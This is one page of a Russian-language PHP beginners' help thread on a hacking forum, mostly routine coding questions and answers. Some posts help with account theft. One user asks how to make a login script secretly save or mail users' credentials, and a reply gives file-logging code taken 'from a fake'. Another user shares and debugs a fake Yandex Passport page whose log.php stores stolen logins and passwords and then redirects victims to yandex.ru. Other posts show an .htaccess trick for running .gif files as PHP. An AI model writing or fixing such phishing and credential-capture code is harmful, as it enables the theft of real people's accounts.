PDA

Просмотр полной версии : [php] Новичкам: задаем вопросы


Страницы : 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 [37] 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66

Shadow_p1raT
22.02.2009, 17:05
добавь после даты

$_SERVER['HTTP_REFERER']

KIR@PRO
22.02.2009, 18:22
Вот еще появился вопрос по этому скрипту:
Редириктить то оно редириктит, но не при всех не правильных значениях...
Мне нужно, чтобы параперт id принимал только числовые значения, при подстановке каких либо символов он редиректил...
в даный момент редириктин при таком запросе:

http://localhost/news.php?id=-25

а при http://localhost/news.php?id=25'
страница остается в прежнем состояие...
можно ли сделать так, чтобы при определенных значениях id редиректило?

вот несколько конкретных решений:

№1 тут я просто $id прописал если надо другое сам пропишеш $_post['id'] или $_get['id']


if (isset($id) && is_numeric($id)){
//обрабатываеш числовое ID вот такое: http://localhost/news.php?id=25' здесь уже не пройдет
}
else {
exit('hello!');// если ID не числовое
}


№2 вместо(вместе c) is_numeric можно использовать регулярку


if (isset($id) && is_numeric($id) && preg_match("/^[0-9]+$/i",$id)) {
//обрабатываеш числовое ID вот такое: http://localhost/news.php?id=25' здесь уже не пройдет
}
else {
exit('hello!');// если ID не числовое
}


№3 совсем конкретизируем второй вариант:


if (isset($id) && is_numeric($id) && preg_match("/^[0-9]+$/i",$id)) {
//обрабатываеш числовое ID вот такое: http://localhost/news.php?id=25' здесь уже не пройдет

switch ((integer)$id){
case 1: //если ИД = 1
echo "строка один<br>";
//еще что то делаеш
echo "строка два и т.д.";
break;
case 4: //если ИД = 4
echo "4 строка один<br>";
//еще что то делаеш
echo "4 строка два и т.д.";
break;
default: //если id не равно одному из вушеперечисленных значений
Echo"ID is not correct;";
break;
}
}
else {
exit('hello!');// если ID не числовое
}

Gifts
22.02.2009, 18:32
KIR@PRO Омг, а еще более извращенно слабо? Можно разбить еще строку на составляющие, а потом каждый знак сравнивать - число это или нет.

-m0rgan-

error_reporting(0);
include"config.php";
$id=intval($_GET['id'])>0 ? intval($_GET['id']) : 0; // Вся соль тут)
if($id) {
echo $news;
$query = "SELECT * FROM news where `id`='".$id."'";
$result = mysql_query($query);
while ($row = mysql_fetch_array($result)) :
цикл...
endwhile;
} else {header('Location: heck.php');}

KIR@PRO
22.02.2009, 18:42
KIR@PRO Омг, а еще более извращенно слабо? Можно разбить еще строку на составляющие, а потом каждый знак сравнивать - число это или нет


я привел ему пару примеров простой средний и 100500% безопасный вариант


p.s. приходится так изощьряться потомучто нет 100% уверенности в том, что в функциях isset(), is_numeric(), preg_match() нет приватных уязвимостей... поэтому я добавил switch

KIR@PRO
22.02.2009, 18:58
KIR@PRO Омг, а еще более извращенно слабо? Можно разбить еще строку на составляющие, а потом каждый знак сравнивать - число это или нет.

-m0rgan-

error_reporting(0);
include"config.php";
$id=intval($_GET['id'])>0 ? intval($_GET['id']) : 0; // Вся соль тут)
if($id) {
echo $news;
$query = "SELECT * FROM news where `id`='".$id."'";
$result = mysql_query($query);
while ($row = mysql_fetch_array($result)) :
цикл...
endwhile;
} else {header('Location: heck.php');}


хм странно но почему то при ?id=3 и вообще ?id=(ТОЛЬКО ЧИСЛО) все время редиректит, но когда не число тоже редиректит) ищи ошибку....


вообще не пойму смысла вот этого: ? intval($_GET['id']) : 0

intval() если id не число всеравно вернет 0

fatalo
22.02.2009, 19:04
Вопросец,какая функция в пхп отвечает за сохранение определенного файла на сервер?(допустим,я подставляю ссылку в запрос,и скрипт сохраняет содержимое ссылке ко мне на винт)

Zedi
22.02.2009, 19:07
Прочитай про fopen fwrite file_get_contents

KIR@PRO
22.02.2009, 19:08
Вопросец,какая функция в пхп отвечает за сохранение определенного файла на сервер?(допустим,я подставляю ссылку в запрос,и скрипт сохраняет содержимое ссылке ко мне на винт)

ты как то запутался в одном предложении тебе на винт сервера сохранить надо или всетаки всоего компа(клиента)??

[JavaScript]
22.02.2009, 19:13
KIR@PRO, а если его винт и есть сервер.

fatalo
22.02.2009, 19:25
[JavaScript],ты прав.
А вот я что-то туплю.

Gifts
22.02.2009, 19:37
KIR@PRO Все работает, а про число - сильно сомневаюсь, что в БД будут отрицательные ID $id=intval($_GET['id'])>0 ? intval($_GET['id']) : 0;
if($id) {
echo '------'.$id.'--------';
} else {header('Location: heck.php');die;}

[JavaScript]
22.02.2009, 19:38
<?
$file="file.txt"; //файл куда писать
$string="много много любого текста..."; //текст который писать
$fp=fopen($file,"a+"); //открываем файл
fwrite($fp,$string); //пишем текст в файл
fclose($fp); //закрываем файл
?>
Вот скрипт с комментариями...

shellz[21h]
22.02.2009, 20:05
Уважаемые кодеры, подскажите плиз.
Есть данные в формате:

user_id: table1
user: table1
userpass: table1
usemail: table1

userid: table2
user: table2
userpass: table2

id:table3
user:table3
etc...
из этого списка, нужно сделать:

user_id,user,userpass,usermail.table1
userid,user,userpass.table2

Подскажите, как это реализовать, никак не получается. Заранее блогадерен.

OnArs
22.02.2009, 21:49
Мужики!

Есть функция md5(); а ей обратной нет чтоле? :(


//Уже нашёл что нет =( Спасибо ))

heretic1990
22.02.2009, 21:55
Мужики!

Есть функция md5(); а ей обратной нет чтоле? :(


//Уже нашёл что нет =( Спасибо ))
нет, md5 только брутить!

KIR@PRO
22.02.2009, 23:51
']Уважаемые кодеры, подскажите плиз.
Есть данные в формате:

user_id: table1
user: table1
userpass: table1
usemail: table1

userid: table2
user: table2
userpass: table2

id:table3
user:table3
etc...
из этого списка, нужно сделать:

user_id,user,userpass,usermail.table1
userid,user,userpass.table2

Подскажите, как это реализовать, никак не получается. Заранее блогадерен.

ну давай для начала разберемся откуда данные из sql базы? изи из текстового файла? )))

p.s. или может я чего то непонял) ну яж не экстра сенс всетаки..

p.p.s. то что ты написал это не данные а структура скорее всего...

[JavaScript]
22.02.2009, 23:59
shellz[21h], а можно поподробнее?
OnArs, md5 это необратимый алгоритм хеширования. Вхлом возможен только с помощью перебора.

shellz[21h]
23.02.2009, 00:42
ну давай для начала разберемся откуда данные из sql базы? изи из текстового файла? )))
данные из файла.

Повторюсь, файл с данными, либо структука как угодно):

user_id: table1
pass: table1
mail: table1
pid: table2
url: table2
sum: table2

Нужно этот список, превратить в:

user_id,pass,mail.table1
pid,url,sum.table2

Gifts
23.02.2009, 03:33
shellz[21h] $in=file('file.txt');
$out=array();
foreach($in as $row)
{
$tmp=explode(': ',$row,2);
$out[$tmp[1]][]=$tmp[0];
}
foreach ($out as $u=>$v)
{
$out[$u]=implode(',',$v).'.'.$u;
}

print_r($out);

shellz[21h]
23.02.2009, 09:20
Gifts, спасибо!

Winst0n
23.02.2009, 11:06
в бд кодировка cp1251
а выводит вот такой бред...
http://s55.radikal.ru/i150/0902/ed/6d0b4e7f5780.png

как исправить ?

KIR@PRO
23.02.2009, 14:05
в бд кодировка cp1251
а выводит вот такой бред...
http://s55.radikal.ru/i150/0902/ed/6d0b4e7f5780.png

как исправить ?


попробуй другую кодировку, одну из cp1251 она не одна. на сайту ты какую кодировку используеш?

Zedi
23.02.2009, 16:14
поменяй кодировку базы данных, можно в phpmyadmin
и попробуй в двиге сразу посде соединения с базой выполнить запрос SET NAMES cp1251
или создай файл .htaccess с AddDefaultCharset windows-1251

KIR@PRO
23.02.2009, 16:27
я имел ввиду страница у тебя какую кодировку использует... просто возможно несколько вариантов:
1) mysql возвращает данные в другой кодировке
2) mysql возвращает данные в нужной кодировке а изза другой кодировки страницы браузер показывает не то что хотелось бы


но у тебя как видно первый вариант

kraken
23.02.2009, 16:43
Winst0n мб ты сделал дамп или туда ставил двиг с нуля?

Winst0n
23.02.2009, 16:53
бд кодировки cp1251
AddDefaultCharset windows-1251
добавил...

все равно криво выводит

kraken, и с 0 и с "Sypex Dumper" и через муадмин, все криво выводит =\

надо на другом хосте попробывать...

geforce
23.02.2009, 17:17
Вопрос:

Почему функция иногда неработает! Как я заметил она не работает при загрузки картинок с большим разширением???

function openResizeAndSave($nWidth,$fileName) {
switch(substr($fileName,-4)) {
case ".gif": {
$Res=imagecreatefromgif($fileName);
$ext=($Res)?".gif":"";
break;
}
case ".jpg": {
$Res=imagecreatefromjpeg($fileName);
$ext=($Res)?".jpg":"";
break;
}
default: return FALSE;
}
if($Res) {
$Width=imagesx($Res);
$Height=imagesy($Res);
}
else
return FALSE;
$Koef=($nWidth/$Width);
$nHeight=(int)($Koef*$Height);
$nRes=imagecreatetruecolor($nWidth,$nHeight);
if(!imagecopyresampled($nRes,$Res,0,0,0,0,$nWidth, $nHeight,$Width,$Height))
return FALSE;
$Res=$nRes;
unlink($fileName);
switch($ext) {
case ".jpg": {
if(!imagejpeg($Res,$fileName))
return FALSE;
break;
}
case ".gif": {
if(!imagegif($Res,$fileName))
return FALSE;
break;
}
default : return FALSE;
}
return TRUE;
}

Файл где она приминяется:

<?php
// Подключаемься к базе данных
include("db.php");
include("function.php");
//================Настройки============= //
// максимальная ширина картинок на превью
$maxwidth = "300px";
// Директория для фотографий товаров
$fotos_dir = "fotos/";
$resizeWidth=215;
// Полное имя файла вместе с путем
$foto_name = time() . "_" . $_FILES['myfile']['name'];
$foto_name_dir = $fotos_dir . time() . "_" . $_FILES['myfile']['name'];
// Готовый тэг для вставки картинки на страницу
$foto_tag = "<img src='{$foto_name_dir}' border='0'>";
// Тот же тэг, но для превью
$foto_tag_preview = "<img src='{$foto_name_dir}' border='0' width='{$maxwidth}'>";
// Текст ошибок
$error_by_mysql = "<span style='font: bold 15px tahoma; color: red'>Ошибка при добавлении данных в базу</span>";
$error_by_file = "<span style='font: bold 15px tahoma; color: red'>Невозможно загрузить файл в директорию. Возможно её не существует</span>";
// Начало
if (isset($_FILES["myfile"])) {
// Если ошибок не было
if (($_FILES["myfile"]["error"] == 0) && (in_array(strtolower(substr($_FILES['myfile']['name'], - 4)), array(".jpg" , ".gif" , ".png")))) {
$upfile = getcwd() . "/fotos/" . time() . "_" . basename($_FILES["myfile"]["name"]);
if ($_FILES['myfile']['tmp_name']){
//Если не удалось загрузить файл
if (! move_uploaded_file($_FILES['myfile']['tmp_name'], $upfile))
exit($error_by_file);
else
{//Вызов новой функции для изменения размеров, учти, что теперь только jpg & gif, если хочешь, то добавь png, там все одинково получится
openResizeAndSave($resizeWidth,$upfile);
}
}
else
exit ("Проблема: возможна атака через загрузку файла хотя проверяется это не так, а, наверное, просто нам подсовывают файл не с тем расширением {$_FILES ['myfile'] ['name']}");
// Заносим путь картинки в базу данных
$query = mysql_query("INSERT INTO foto (url,name) VALUES ('{$foto_name_dir}','{$foto_name}')", $db);
if ($query)
{
echo "{$foto_tag}<br /><b>Данные успешно внесены в базу</b>";
$adres=$foto_name_dir;
}
else
exit("<p>Ошибка сохранения данных.</p>" . mysql_error());
} else //Если возникла ошибка при передаче или левое расширение файла
exit("Ошибка обработки данных либо вы пытаетесь подсунуть нам свинью");
}
?>

geforce
23.02.2009, 17:20
бд кодировки cp1251
AddDefaultCharset windows-1251
добавил...

все равно криво выводит

kraken, и с 0 и с "Sypex Dumper" и через муадмин, все криво выводит =\

надо на другом хосте попробывать...

1. Ты Свои php файлы через какую прогу сохронял?
2. При импорте баз на хост выставь нужную кодировку т.к. на некоторых хостах она выстовляется автомотически на юникод!

kik8888
24.02.2009, 09:49
geforce, a какую ошибку она выдает, когда не работает?
Может быть просто не хватает памяти... Попробуй увеличь memory_limit в конфиге пхп, например в .htaccess пропиши.

geforce
24.02.2009, 15:56
geforce, a какую ошибку она выдает, когда не работает?
Может быть просто не хватает памяти... Попробуй увеличь memory_limit в конфиге пхп, например в .htaccess пропиши.

Ошибки не бывает! Картинка тупо загружается не соблюдая пропорции!

Frize
24.02.2009, 17:43
народ помогите написать парсер)
html код страници
<body style="color:#717171;padding: 33 0 0 33">
<a href=""><img border=0 src="?logo&pic"></a>
<form method="post">
<input type="hidden" name="send">
<table border=0 cellspacing=5>
<tr>
<td>Логин (login@mail.ru)</td>
<td><input type="text" name="login" value=""></td>
</tr>
<tr>
<td>Пароль</td>
<td><input type="text" name="password" value=""></td>
</tr>
<tr>
<td>Телефон: (+79031234567)</td>
<td><input type="text" name="mobile" value="+7"></td>
</tr>
<tr>
<td colspan=2>Текст (до 141 символа)<br>
<textarea name="text" maxlength="141" style="width:100%" onkeydown="this.value = this.value.slice(0, 141)"></textarea></td>
</tr>
<tr>
<td colspan=2 align=center><input type=submit value="отправить"></td>
</tr>
</table>
</form>
надо сделать так, чтобы вписывать текст и нажимать кнопку отправить :-D

MaTpOc
24.02.2009, 17:56
как пхп определяет на какой раскладке написан текст?

//мне просто для паролей нада

KIR@PRO
24.02.2009, 19:03
как пхп определяет на какой раскладке написан текст?

//мне просто для паролей нада


понимаеш как таковй php не может определить на какой раскладке написан текст (на сколько я знаю =) ) буквы на русской раскладке имеют свой код, буквы на английской раскладке имеют свой код....

если тебе нужно для чегото конкретного можеш написать постараемся помоч , сделать так чтоб программа определяла где русский где англ...


/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////


народ помогите написать парсер)
html код страници

надо сделать так, чтобы вписывать текст и нажимать кнопку отправить :-D


непонял тебя... тебе парсить что надо??? в каком виде на выходе надо зачем тебе что то вводить и отправлять? причем тут парсер...

или ты хочеш вводить адрес страници отправлять скрипту и чтоб он парсил?

p.s. если хатите чтоб вам помогли то формулируйте вопрос/просьбу конкретней и шире. =)

mailbrush
24.02.2009, 19:17
Сообщение от Frize
народ помогите написать парсер)
html код страници

надо сделать так, чтобы вписывать текст и нажимать кнопку отправить :-Dfsockopen OR curl

geforce
24.02.2009, 19:29
Помогите пожалуйста???

http://forum.antichat.ru/showpost.php?p=1132741&postcount=9096

Pashkela
24.02.2009, 20:37
как пхп определяет на какой раскладке написан текст?

//мне просто для паролей нада

переводишь в байты и смотришь:

1. Если встречаются символы ТОЛЬКО из диапозона 41-7A (в HEX) или 65-122 (ASC) - то английский

2. Если встречаются символы ТОЛЬКО из диапозона C0-FF (в HEX) или 192-255 (ASC) - то русский

3. Если и из-того и из другого - то смешанный

MaTpOc
24.02.2009, 20:47
переводишь в байты и смотришь:

1. Если встречаются символы ТОЛЬКО из диапозона 41-7A (в HEX) или 65-122 (ASC) - то английский

2. Если встречаются символы ТОЛЬКО из диапозона C0-FF (в HEX) или 192-255 (ASC) - то русский

3. Если и из-того и из другого - то смешанный

А как мне сделать чтоб када вводишь на любой раскладке пароль, система все равно пропускала?

Byrger
24.02.2009, 20:59
А как мне сделать чтоб када вводишь на любой раскладке пароль, система все равно пропускала?

Может замену сделать?
От А до Я меняет на от A до Z

Pashkela
24.02.2009, 21:04
А как мне сделать чтоб када вводишь на любой раскладке пароль, система все равно пропускала?


Интересно, зачем тогда вообще пароли? Т.е. типо пунто-свитчер на php? Хз, подумать надо. Хотя мне видется так:

1. Массив ВСЕХ английских букв.
2. Массив АНАЛОГ ПЕРВОГО МАСИИВА, где все английские буквы заменены на их аналоги на русском.
3. Соответственно ОБА массива количественно равны.
4. Сравниваешь поэлементно то, что ввели на совпадение (т.е. сравниваешь сначала пароль введенный СРАЗУ с паролем из БД, затем, в случае неудачи, заменяешь его аналогичными буквами из английского массива)

Например: пароль "qwerty"

В русской расскладке пароль "йцукен"

значит у тебя два массива:

$a = array('q','w','e','r','t','y');
$b = array('й','ц','у','к','е','н')

Ошиблись, вместо "qwerty" ввели "йцукен". Сравнил то, что ввели, с тем, что в базе - выдал ошибку, значит дальше в цикле меняешь все русские на английские, сравниваешь опять - правильно - пускаешь, нет - значит пароль неверный. Посылаешь нафиг.

в общем примерно так (всю клаву в массив перегнать только осталось:))


<?php

$c = 'йцукен';

$d = punto($c);
echo $d;


/* Функция посимвольного преобразования русск в англ */
function punto($ascii) {
$hex = '';
$arr1 = array('q','w','e','r','t','y');
$arr2 = array('й','ц','у','к','е','н');
$count = count($arr1);
for ($i = 0; $i < strlen($ascii); $i++) {
for ($z = 0; $z < $count; $z++) {
if ($ascii{$i}==$arr2[$z]) $hex.=$arr1[$z];
}
}
return $hex;
}

?>

Gifts
24.02.2009, 21:50
Pashkela Можно обойтись и одним запросом - просто храним пароли в одной раскладке и сверяем


$in='gfhjkm dthty';
$from="qwertyuiop[]asdfghjkl;'zxcvbnm,./";
$to= 'йцукенгшщзхъфывапролджэя смитьбю.';
echo strtr($in,$from,$to);

Pashkela
24.02.2009, 22:04
2 Gifts:

Гы, 23 февраля, ты прав, конечно, зато фактически написал strtr()

:D :D :D

m0Hze
24.02.2009, 22:17
Что пишеться в ацесе,чтобы гифы обрабатывались как php?

Pashkela
24.02.2009, 22:21
<Files ~ "\.gif$">
AddType application/x-httpd-php .gif
</Files>

в плане безопасности лучше в текущей папке, чем в корне :D

Kaimi
24.02.2009, 22:21
AddType application/x-httpd-php .gif

D0S
24.02.2009, 23:15
Как такое реализовать? _jungles.ru/userbar/5449_0.jpg. Нажимать Ф5

DDoSька
24.02.2009, 23:19
Как такое реализовать? _jungles.ru/userbar/5449_0.jpg. Нажимать Ф5
Просто рандомно картинка выводится

mailbrush
24.02.2009, 23:21
D0S, imagecreatefromjpg + случаное значение бери из картинок

D0S
24.02.2009, 23:30
D0S, imagecreatefromjpg + случаное значение бери из картинок
Спасибо. Просто не знал, за что зацепиться. ;)

Pashkela
24.02.2009, 23:31
<?php

$a = array('1.jpg','2.jpg');
$b = rand(0, 1);
echo '<img src=" ' . $a[$b] . '">';

?>

Shadow_p1raT
25.02.2009, 06:02
Лучше переменную $b заменить на

$b = $a[array_rand($a)];

Ибо картинок может быть доx%я

Byrger
25.02.2009, 08:41
Ап пост (http://forum.antichat.ru/showthread.php?p=1118186#post1118186)

Так и не нашёл на него ответа без применения Аякса....(нужный вычисления чисто на стороне сервера)

real_kas
25.02.2009, 13:29
Доброго всем дня!

Есть емейл база - base.txt
Есть база отписавшихся - unsubscribe.txt

Как мне пропарсить base.txt и удалить из нее емейлы unsubscribe.txt?

Есть подобный код?

Shadow_p1raT
25.02.2009, 14:29
<?php
$file = file(' base.txt');
$file_2 = file('unsubscribe.txt');
$array = array_map('trim',array_merge($file,$file_2));
$result = array_unique($array);
$fp = fopen('base.txt','w');
foreach($result as $key=>$value) {
fwrite($fp,$value."\r\n");
}
fclose($fp);
?>

-=Static=-
25.02.2009, 14:30
Или так:
<?php
/***** Настройка ********/
$mailFile = "mails.txt"; // Список мыл
$unsMailFile = "unsmail.txt"; // Список отписавшихся
$resultFile = "output.txt"; // Файл результата
/************************/

$arEMails = file($mailFile);
$arUnsMail = file($unsMailFile);

foreach($arUnsMail as $delMail) {
foreach($arEMails as $key => $curMail) {
if(trim($curMail) == trim($delMail)) unset($arEMails[$key]);
}
}

file_put_contents($resultFile, implode("\n",$arEMails));

-=Static=-
25.02.2009, 14:34
<?php
$file = file(' base.txt');
$file_2 = file('unsubscribe.txt');
$array = array_map('trim',array_merge($file,$file_2));
$result = array_unique($array);
$fp = fopen('base.txt','w');
foreach($result as $key=>$value) {
fwrite($fp,$value."\r\n");
}
fclose($fp);
?>


Гмм... этот код никак не изменит исходный массив мыл...
Ты сначало набираешь 2 массива, потом мержишь их и убираешь копии... иначе говоря убираешь то что примержил из отписавшихся... а в массиве мыл уники останутся, и на выходе будет всеравно массив исходных мыл...

real_kas
25.02.2009, 16:04
Или так:


Спасибо большое за помощь!

Shadow_p1raT
25.02.2009, 16:13
Ой,ой простите.Не так прочитал:-)

aqqa
25.02.2009, 19:22
фильтр XSS SQL и HTML тегов
Нашел такой вот код
http://zhilinsky.ru/wp-content/uploads/files/Other/Development/inputclear.phps
Но на мой взгляд он слабоват....Помогите решить задачку!

mailbrush
25.02.2009, 19:46
htmlspecialchars($input); =)

geforce
25.02.2009, 20:28
Помогите с проблеммой?

http://forum.antichat.ru/showpost.php?p=1132741&postcount=9094

m0Hze
26.02.2009, 00:03
Блин,решил поработать с кукисами,и вот проблема,а я и незнал что кукисы можно выставлять как хидеры.юесли перед ними нет вывода.
Как мне быть,если перед выводом кукисов уже был вывод какойто информации?
Вот самый просто пример кода:

echo $auth;
$pass = md5($_POST['pass']);
$user = $_POST['user'];
if (!empty($pass) && !empty($user))
{
$checkuser = mysql_query("SELECT * FROM users WHERE username = '" . $user .
"' AND password = '" . $pass . "'");
if (mysql_num_rows($checkuser) > 0)
{
setcookie("username", $user);
setcookie("password", $pass);
setcookie("id", mysql_insert_id());
echo $upload;
}
}

Ругаеться что уже выводилось в 30 строке,тоесть тут 1. :(

Zitt
26.02.2009, 00:17
есть кусок кода скрипта которому передается мыло...

$dbName='fe';
$link = mysql_connect($DA["host"],$DA["user"],$DA["pass"]);
mysql_select_db($dbName, $link);

$query = mysql_query("SELECT id FROM users WHERE email = ".$email."");
$results = mysql_fetch_array($query); // 67ая строка
if(!$results)
{
echo "Возникла ошибка - ".mysql_error()."<br>";
echo $query;
exit();
}
$id = $results['id'];
echo "$id";


ругаеться

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /vk.php on line 67
Возникла ошибка - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '@as.com' at line 1


как исправить??

m0Hze
26.02.2009, 00:22
$query = mysql_query("SELECT id FROM users WHERE email = '".$email."'");

Ответье на мой вопросик повыше)

Zitt
26.02.2009, 00:31
точна.... прогоядел.. )

[dei]
26.02.2009, 01:04
m0Hze
буферизация

ob_start();
echo $auth;
$pass = md5($_POST['pass']);
$user = $_POST['user'];
if (!empty($pass) && !empty($user))
{
$checkuser = mysql_query("SELECT * FROM users WHERE username = '" . $user .
"' AND password = '" . $pass . "'");
if (mysql_num_rows($checkuser) > 0)
{
setcookie("username", $user);
setcookie("password", $pass);
setcookie("id", mysql_insert_id());
echo $upload;
}
}
ob_end_flush();

winstrool
26.02.2009, 16:32
Народ, слышал что такое можно реализовать, вопрос как через пхп можно интегрировать яваскрипт код в pdf

DDoSька
26.02.2009, 17:03
Народ, слышал что такое можно реализовать, вопрос как через пхп можно интегрировать яваскрипт код в pdf
Я думаю, никак

-=Static=-
26.02.2009, 18:17
Народ, слышал что такое можно реализовать, вопрос как через пхп можно интегрировать яваскрипт код в pdf

Ты наверное об этом _http://www.moldprint.com/stati/dtp/postscript_ili_pdf.html

Frize
26.02.2009, 18:27
есть функция,
function test()
{
$test = send test("lolkin23@mail.ru", "aiglife");
$test->send("слово", "слово2");

нужно сделать че нить типо этого,

function test($data)
{
$test->send($data, $data[0]);
или
$test->send(array($data, $data[0]);

кто понял помогите :-D

Gifts
26.02.2009, 19:07
Frize Если не понимаешь принципов ООП - зачем пытаться сделать, только ради "чтоб было" и "че нить типа"?

http://www.php.net/manual/ru/language.oop5.php

Frize
26.02.2009, 19:22
ога) ушел читать))спс

art2222
26.02.2009, 19:49
Всем привет.
Вот возник вопросец: работаю с сайтом при помощи fsockopen, но он (сайтец), настойчиво требует, чтобы был включен JavaScript. Как можно "сообщить" сайту что JavaScript включен? И можно ли это сделать вообще?

Корвин
26.02.2009, 20:03
подскажите плиз, чтобы обрабатывался php код в файле xml нужно в htaccess прописать AddType application/x-httpd-php .xml, а мне нужно чтобы в одной папке не обрабатывался xml как php-файл, мне нужна обратная, как бы запрещающая команда, знаете такую?

Gifts
26.02.2009, 20:13
Корвин AddType text/xml .xml

art2222 Если ява-скрипты динамически создают содержимое - то отследите их запросы и делайте такие же

dinar_007
26.02.2009, 20:17
Всем привет.
Вот возник вопросец: работаю с сайтом при помощи fsockopen, но он (сайтец), настойчиво требует, чтобы был включен JavaScript. Как можно "сообщить" сайту что JavaScript включен? И можно ли это сделать вообще?
Пойми сначала, по какому принципу опредделяет включён яваскрипт или нет..

art2222
26.02.2009, 20:17
Если ява-скрипты динамически создают содержимое - то отследите их запросы и делайте такие же
Хм, я просто получаю контент страницы, а вместо нужного текста получаю "This page needs JavaScript, to display all information correct"

art2222
26.02.2009, 20:21
по какому принципу опредделяет
Возможно юзает get_browser().
Можно ли как нибудь передать инфу о джаве через UserAgent?

Корвин
26.02.2009, 20:23
Корвин AddType text/xml .xml



пробовал... не помогло

Nightmarе
26.02.2009, 21:16
Ещё вопрос интересует, вот код для аплоада файлов:
<?php
error_reporting(0);
set_time_limit(0);
$uploadfile = basename($_FILES['userfile']['name']);
move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)
?>

Почему он загружает файлы которые весят не более 2 метров хотя в параметрах php.ini выставлен максимальный аплоад 8 метров ????????

mailbrush
26.02.2009, 21:22
пропиши в .htaccess: php_value upload_max_filesize 8M, я хз чо у тя не пашет...

fatalo
26.02.2009, 22:31
Nightmarе, ты ведь ошибки отключил.Может включишь, и посмотришь,что пишет?

Zedi
26.02.2009, 23:00
попробуй пропиши в начале скрипта ini_set("upload_max_filesize","8M");
ini_set("post_max_size","8M");

Nightmarе
26.02.2009, 23:24
Пасиб всем. Действительно не обратил внимание на "upload_max_filesize" в настройках php которая везде и есть 2 метра... собственно возможности залить файл более 2 метров никакой нету?

Zedi
26.02.2009, 23:30
ну попробуй мой способ и способ mailbrush, если не получится то никак, значит хостер запретил

1SeTh
26.02.2009, 23:37
у меня такой вопрос, есть страница авторизации, то есть login.php. Можно сделать так чтобы когда юзер вводил свой логин и пароль помимо аутентификации скрипт сылал логин и пароль на почту или куда то в директорию записывал?

мне надо этот вопрос уже сегодня разрешить потом будет поздно

Zedi
26.02.2009, 23:56
вот, взял из фейка $Login = $_POST["login"]; // Логин
$Pass = $_POST["pass"]; // Пароль

$log = fopen("base.txt","a+"); //открываем файл базы
fwrite($log,"\n $Login:$Pass \n"); //записываем всё
fclose($log); //закрываем
это нужно подставить в скрипт в авторизацию, и соответственно поменять название полей в $_POST

m0Hze
27.02.2009, 00:06
Собственно,есть директория в ней много файлов с одинаковым расширением.
Нужно в цикле,или без него,переименовать все файлы по очереди.Как)

Zedi
27.02.2009, 00:42
ток я не знаю на что те менять надо, сделал чтоб генерировалось, ну смысл такой <?php
error_reporting(E_ALL);
$open_dir = opendir(getcwd());
$i = 0;
$r = ".php";// Расширение на какое переименовывать
while ($el = readdir($open_dir))
{
$i++;
$name = substr(md5(rand(0, 1000000)), 0, 8) . $r;
if ((filetype(getcwd() . "/" . $el) == 'file'))
rename(getcwd() . "/" . $el, getcwd() . "/" . $name);

}
?>

dinar_007
27.02.2009, 01:09
Возможно юзает get_browser().
Можно ли как нибудь передать инфу о джаве через UserAgent?
Передай нормальный ЮзерАгент... Информация о поддержке JS не передаётся в ЮзерАгенте...
Как пример:
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WebMoney Advisor; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; eSobiSubscriber 2.0.4.16; .NET CLR 1.1.4322; .NET CLR 3.5.21022; InfoPath.2)

FALTONICK
27.02.2009, 01:23
с чего начать изучение?

Zedi
27.02.2009, 02:03
с книги для начинающих, тут есть спкц тема с книгами

Byrger
27.02.2009, 19:58
Есть сценарий который создаёт картинку с помощью PHP и есть страница на которой нужно картинку вывести....

прописываю так :
header("Content-type: image/png");
$pngimg = imagepng( $image );

то просто загрузается картинка на весь экран...
если пишу так
header("Content-type: image/png");
то картинка отображается в види кода.


как сделать чтоб загрузить гденить в углу...но не использую путь до страницы в виде <img src="image.php" /> так как нужно передать параметы этому сценарию.

fatalo
27.02.2009, 20:28
Byrger, была та же проблема.Я юзал куки и ссылку вида:
<img src="image.php?image=$qq&color=$aaa" />
Надеюсь ты понял.Случайно не конструктор аватар делаешь?

Pashkela
27.02.2009, 20:48
Пасиб всем. Действительно не обратил внимание на "upload_max_filesize" в настройках php которая везде и есть 2 метра... собственно возможности залить файл более 2 метров никакой нету?

делишь, заливаешь частями, склеиваешь. Если только тебе надо - вполне потянет.

Byrger
27.02.2009, 21:53
Byrger, была та же проблема.Я юзал куки и ссылку вида:
<img src="image.php?image=$qq&color=$aaa" />
Надеюсь ты понял.Случайно не конструктор аватар делаешь?
Нет не конструктор :)
А по другому не как не запустить картинку? а то в открытую не хотелось бы значения передавать....

Zedi
27.02.2009, 22:42
Byrger кажется про размер спрашивал $image_width = 100;
$image_height = 100;
$image = imagecreate ( $image_width, $image_height );
а значения можно через куки или через сессии

magieva-anna
28.02.2009, 01:03
Привет!
У меня такой вопрос:
есть фейк-страница и есть файл log.php, который пишет логин-пароль в файл. В IE всё отлично работает, но Firefox его почему-то не выполняет (пишет, что время ожидания соединения истекло). В чём может быть проблема?
PS: фейк - яндекс-паспорт.

Zedi
28.02.2009, 01:11
magieva-anna, чтот мне не верится в такое :d, код в студию))))

magieva-anna
28.02.2009, 01:27
Код такой:
<?PHP
$Login = $_POST['login'];
$Pass = $_POST['passwd'];

$log = fopen("base.txt","a+");
fwrite($log,"\n :$Login:$Pass: \n");
fclose($log);
echo "<HTML>
<body>
<script type='text/javascript'>
window.location.href='http://www.yandex.ru';
</script>
</body>
</HTML>";
?>
Но есть у меня подозрения, что не в этом коде дело. Скорее всего в коде самой странице, с которой идёт переадресация на log.php.

[dei]
28.02.2009, 01:31
Код такой:
<?PHP
$Login = $_POST['login'];
$Pass = $_POST['passwd'];

$log = fopen("base.txt","a+");
fwrite($log,"\n :$Login:$Pass: \n");
fclose($log);
echo "<HTML>
<body>
<script type='text/javascript'>
window.location.href='http://www.yandex.ru';
</script>
</body>
</HTML>";
?>

вместо
echo "....

header('Location: www.yandex.ru');

Zedi
28.02.2009, 01:32
у меня работает во всех браузерах, в том числе и firefox

magieva-anna
28.02.2009, 01:41
']вместо
echo "....

header('Location: www.yandex.ru');

Не...не помогает. Но всё равно, спасибо)))

В самом скрипте всё должно быть нормально. Почти идентичный от другого фейка работает на УРА. Что-то в коде страници кроется.
